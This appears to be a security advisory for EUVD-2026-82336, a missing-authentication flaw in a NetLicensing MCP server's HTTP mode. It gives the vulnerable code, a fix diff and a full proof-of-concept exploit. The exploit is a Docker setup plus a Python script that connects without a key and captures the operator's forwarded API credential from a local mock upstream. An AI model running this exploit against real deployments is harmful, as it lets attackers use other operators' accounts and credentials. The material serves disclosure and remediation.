Python EUVD-2026-82336

# src/netlicensing_mcp/server.py
1418:     if not key:
1419:         key = request.query_params.get("apikey")
1421:     if key:
1422:         token = api_key_ctx.set(key)
            ...
1427:     return await call_next(request)
# <-- no rejection when key is absent

# src/netlicensing_mcp/client.py
30:  "api_key", default=os.getenv("NETLICENSING_API_KEY", "")
# server-side fallback
...
64:  auth_str = f"apiKey:{api_key}"
70:  "Authorization": f"Basic {token}",
...
109: r = await client.get(url, headers=_headers(), params=params or {})

--- a/src/netlicensing_mcp/server.py
+++ b/src/netlicensing_mcp/server.py
@@
          class ApiKeyMiddleware(BaseHTTPMiddleware):
              async def dispatch(self, request: Request, call_next):
+                 if request.url.path == "/health":
+                     return await call_next(request)
+
                  key = request.headers.get("x-netlicensing-api-key")
                  if not key:
                      auth = request.headers.get("authorization")
                      if auth and auth.lower().startswith("bearer "):
                          key = auth[7:]
@@
                          return await call_next(request)
                      finally:
                          api_key_ctx.reset(token)
-                 return await call_next(request)
+                 return JSONResponse(
+                     {"error": "NetLicensing API key is required for HTTP transport"},
+                     status_code=401,
+                 )

# Build the image from the repository root
docker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .
# Run the PoC - exits 0 on confirmed exploit
docker run --rm --network=host vuln-001-netlicensing

# Terminal 1 - mock upstream NetLicensing REST API
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        print("MOCK_REQUEST", self.command, self.path,
              self.headers.get("Authorization"), flush=True)
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps({"items": {"item": []}}).encode())
    def log_message(self, *args): pass
HTTPServer(("127.0.0.1", 19090), H).serve_forever()
PY
# Terminal 2 - vulnerable MCP server in HTTP mode with a server-side API key
NETLICENSING_API_KEY=SERVERSECRET \
NETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \
MCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \
python3 -m netlicensing_mcp.server http
# Terminal 3 - attacker: connect with NO API key and invoke a tool
python3 - <<'PY'
import asyncio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client

async def main():
    async with streamablehttp_client("http://127.0.0.1:18181/mcp") as (read, write, _):
        async with ClientSession(read, write) as session:
            await session.initialize()
            print(await session.call_tool("netlicensing_list_products", {"filter": ""}))

asyncio.run(main())
PY

MOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==

$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d
apiKey:SERVERSECRET

[MOCK_UPSTREAM] GET /core/v2/rest/product  Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoded: apiKey:SERVERSECRET
[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own
NETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API.
CWE-306 / VULN-001 reproduced.

FROM python:3.12-slim

RUN apt-get update && apt-get install -y --no-install-recommends git \
 && rm -rf /var/lib/apt/lists/*

WORKDIR /app
# Copy repo (with .git for hatch-vcs versioning) and PoC script
COPY repo/ /app/repo/
COPY vuln-001/poc.py /app/poc.py
# Install the vulnerable MCP server package and its dependencies
RUN cd /app/repo && pip install --no-cache-dir .

CMD ["python3", "/app/poc.py"]

#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
CWE-306 - Missing Authentication for Critical Function

Attack scenario:
 1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.
 2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.
 3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.
 4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.
 5. The upstream NetLicensing REST API receives the operator's credential - attacker
 effectively uses the operator's account for all MCP tool invocations.

Expected evidence: mock upstream prints
 Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
 Decoded: apiKey:SERVERSECRET
even though the MCP client sent no credentials.
"""

import asyncio
import base64
import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
# ─── Configuration ────────────────────────────────────────────────────────────

MOCK_PORT = 19090
MCP_PORT = 18181
SERVER_API_KEY = "SERVERSECRET"
# simulated operator secret injected via env var
# ─── Mock upstream NetLicensing REST API ─────────────────────────────────────

captured_requests: list[dict] = []
mock_ready = threading.Event()


class MockUpstreamHandler(BaseHTTPRequestHandler):
 def _handle(self):
 auth = self.headers.get("Authorization", "<none>")
 entry = {
 "method": self.command,
 "path": self.path,
 "authorization": auth,
 }
 captured_requests.append(entry)
 print(
 f"[MOCK_UPSTREAM] {self.command} {self.path} "
 f"Authorization={auth}",
 flush=True,
 )
 self.send_response(200)
 self.send_header("Content-Type", "application/json")
 self.end_headers()
 self.wfile.write(json.dumps({"items": {"item": []}}).encode())

 do_GET = _handle
 do_POST = _handle
 do_PUT = _handle

 def log_message(self, *args):
 pass


def _run_mock(port: int) -> None:
 srv = HTTPServer(("127.0.0.1", port), MockUpstreamHandler)
 mock_ready.set()
 srv.serve_forever()
# ─── Helpers ─────────────────────────────────────────────────────────────────

def _decode_basic(header: str) -> str | None:
 if not header.startswith("Basic "):
 return None
 try:
 return base64.b64decode(header[6:]).decode()
 except Exception:
 return None


async def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool:
 """Poll until the MCP /health endpoint responds or timeout."""
 import httpx
 deadline = time.monotonic() + timeout
 while time.monotonic() < deadline:
 try:
 async with httpx.AsyncClient() as c:
 r = await c.get(f"http://{host}:{port}/health", timeout=1)
 if r.status_code < 500:
 return True
 except Exception:
 pass
 await asyncio.sleep(0.4)
 return False
# ─── PoC ──────────────────────────────────────────────────────────────────────

async def main() -> None:
# 1. Start mock upstream
 t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)
 t.start()
 mock_ready.wait(timeout=5)
 print(f"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}", flush=True)
# 2. Launch vulnerable MCP server in HTTP mode with server-side API key
 env = os.environ.copy()
 env.update({
 "NETLICENSING_API_KEY": SERVER_API_KEY,
 "NETLICENSING_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/core/v2/rest",
 "MCP_HOST": "127.0.0.1",
 "MCP_PORT": str(MCP_PORT),
 })
 proc = subprocess.Popen(
 [sys.executable, "-m", "netlicensing_mcp.server", "http"],
 env=env,
 cwd="/app/repo",
 stdout=subprocess.PIPE,
 stderr=subprocess.PIPE,
 )
 print(f"[*] Vulnerable MCP server started (pid={proc.pid})", flush=True)

 ready = await _wait_for_mcp("127.0.0.1", MCP_PORT, timeout=15)
 if not ready:
# /health may not exist; just wait a fixed time
 print("[*] /health not responding - waiting 5 s anyway ...", flush=True)
 await asyncio.sleep(5)

 if proc.poll() is not None:
 _, err = proc.communicate()
 print(f"[!] MCP server exited unexpectedly:\n{err.decode()}", flush=True)
 sys.exit(1)

 print(f"[*] MCP server ready on 127.0.0.1:{MCP_PORT}", flush=True)
# 3. Attack: connect WITHOUT any API key and invoke a tool
 print(
 "\n[ATTACK] Sending MCP tool call to netlicensing_list_products "
 "with NO client API key ...",
 flush=True,
 )
 try:
 from mcp import ClientSession
 from mcp.client.streamable_http import streamablehttp_client

 async with streamablehttp_client(
 f"http://127.0.0.1:{MCP_PORT}/mcp"
 ) as (read, write, _):
 async with ClientSession(read, write) as session:
 await session.initialize()
 result = await session.call_tool(
 "netlicensing_list_products", {"filter": ""}
 )
 print(f"[*] Tool call succeeded: {result}", flush=True)
 except Exception as exc:
 print(f"[*] MCP client exception (may be normal upstream error): {exc}", flush=True)
 finally:
 proc.terminate()
 await asyncio.sleep(0.5)
# 4. Evaluate captured evidence
 print("\n" + "=" * 70, flush=True)
 print("CAPTURED UPSTREAM REQUESTS:", flush=True)
 for req in captured_requests:
 print(f" {req['method']} {req['path']}", flush=True)
 print(f" Authorization: {req['authorization']}", flush=True)
 decoded = _decode_basic(req["authorization"])
 if decoded:
 print(f" Decoded: {decoded}", flush=True)
 print("=" * 70, flush=True)
# 5. Verdict
 server_key_leaked = any(
 SERVER_API_KEY in (_decode_basic(r["authorization"]) or "")
 for r in captured_requests
 )

 if server_key_leaked:
 print(
 f"\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to "
 f"forward its own NETLICENSING_API_KEY='{SERVER_API_KEY}' to the upstream "
 f"NetLicensing API. CWE-306 / VULN-001 reproduced.",
 flush=True,
 )
 sys.exit(0)
 elif not captured_requests:
 print(
 "\n[FAIL] No upstream requests captured - the MCP tool call did not "
 "reach the upstream API.",
 flush=True,
 )
 sys.exit(2)
 else:
 print(
 "\n[FAIL] Upstream requests captured but server API key not found in "
 "Authorization headers.",
 flush=True,
 )
 sys.exit(2)


if __name__ == "__main__":
 asyncio.run(main())